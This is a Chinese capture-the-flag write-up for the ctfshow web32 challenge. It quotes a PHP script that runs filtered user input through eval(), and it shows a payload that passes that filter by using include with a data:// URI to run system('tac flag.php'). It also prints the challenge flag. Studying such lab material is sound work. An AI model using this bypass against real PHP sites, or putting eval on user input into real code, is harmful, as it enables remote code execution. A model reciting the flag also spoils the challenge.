【CTFWP】ctfshow-web32

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录


题目介绍:

php+HTML 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

题目分析:

这段代码是一个 PHP 脚本的一部分,是用于执行用户输入的代码片段。不过,它包含了一些安全漏洞,以下是对代码的分析和潜在问题:

  1. 错误报告关闭

    • error_reporting(0); 这一行关闭了错误报告,这会隐藏可能的错误信息,使得调试和发现问题变得更加困难。
  2. 用户输入处理

    • if(isset($_GET['c'])){ 检查是否接收到了 c 参数。
    • $c = $_GET['c']; 获取 c 参数的值。
  3. 正则表达式过滤

    • if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\|echo|;|(/i", $c)){` 使用正则表达式过滤一些关键词,防止执行一些危险的命令。然而,这个正则表达式并不完全有效,因为它没有考虑到一些其他的潜在危险字符或命令。
  4. 代码执行

    • eval($c); 执行传入的 PHP 代码。这是非常危险的,因为它可以执行任何 PHP 代码,包括恶意代码。
  5. 默认行为

    • else{ highlight_file(__FILE__); } 如果没有接收到 c 参数,脚本会显示当前文件的内容。

潜在问题:

  • 代码注入 :由于使用了 eval(),任何有效的 PHP 代码都可以被执行。这可能导致严重的安全问题,如远程代码执行。
  • 过滤不充分:正则表达式过滤可能不够全面,无法阻止所有恶意输入。
  • 错误隐藏:关闭错误报告可能会隐藏一些关键的错误信息,使得问题更难被发现和解决。

payload:

php 复制代码
?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>

payload解释:

这段代码尝试通过 URL 参数传递恶意代码来绕过原始 PHP 脚本中的安全检查。让我们逐步分析:

  1. 参数传递

    • ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
    • 这里使用了 include 语句,尝试将 $_GET[1] 作为文件名来包含。
  2. 原始脚本的正则表达式过滤

    • 原始脚本中的正则表达式尝试过滤掉一些关键词,但存在漏洞。它没有过滤掉 include 这样的关键词。
  3. eval 执行

    • 如果正则表达式匹配失败(即没有匹配到禁止的关键词),则执行 eval($c)

分析:

  • 原始脚本的正则表达式过滤没有考虑到 include 语句的使用,这使得攻击者可以通过构造特定的参数来绕过过滤。
  • 通过构造 ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>,攻击者尝试执行 include 语句,从而绕过 eval 函数的限制。

具体步骤:

  1. 参数解析

    • $_GET['c'] 被设置为 include$_GET[1]?>
    • $_GET[1] 被设置为 data://text/plain,<?php system("tac flag.php")?>
  2. 执行

    • 脚本首先尝试执行 eval($_GET['c']),但由于 include 语句不在正则表达式的过滤范围内,它将执行 include $_GET[1]
  3. 文件包含

    • include $_GET[1] 将包含 data://text/plain,<?php system("tac flag.php")?>,这实际上是一个数据 URI,包含 PHP 代码。
  4. 系统命令执行

    • 包含的代码执行 system("tac flag.php"),这将执行系统命令 tac flag.php,可能会泄露或修改文件内容。

flag

flag="ctfshow{eeeb78d3-831d-4a1b-bc6d-ff8d2d617768}"


相关推荐
2501_915106327 分钟前
Flutter、React Native 项目如何搞定 iOS 上架?从构建 IPA 到上传 App Store 的实战流程全解析
websocket·网络协议·tcp/ip·http·网络安全·https·udp
珹洺21 分钟前
数据库系统概论(十七)超详细讲解数据库规范化与五大范式(从函数依赖到多值依赖,再到五大范式,附带例题,表格,知识图谱对比带你一步步掌握)
java·数据库·sql·安全·oracle
网安INF27 分钟前
CVE-2023-25194源码分析与漏洞复现(Kafka JNDI注入)
java·web安全·网络安全·kafka·漏洞·jndi注入
恰薯条的屑海鸥2 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第十期-Over Permission 模块)
学习·安全·web安全·渗透测试·网络安全学习
Bruce_Liuxiaowei3 小时前
深入理解PHP安全漏洞:文件包含与SSRF攻击全解析
开发语言·网络安全·php
痴人说梦梦中人9 小时前
自建 dnslog 回显平台:渗透测试场景下的隐蔽回显利器
web安全·网络安全·渗透测试·php·工具
Web极客码11 小时前
如何轻松、安全地管理密码(新手指南)
计算机网络·安全·web安全·网络安全
安全系统学习12 小时前
【网络安全】Qt免杀样本分析
java·网络·安全·web安全·系统安全
Bruce_Liuxiaowei13 小时前
文件上传漏洞深度解析:检测与绕过技术矩阵
安全·矩阵·文件上传漏洞
CYRUS STUDIO14 小时前
FART 脱壳某大厂 App + CodeItem 修复 dex + 反编译还原源码
android·安全·逆向·app加固·fart·脱壳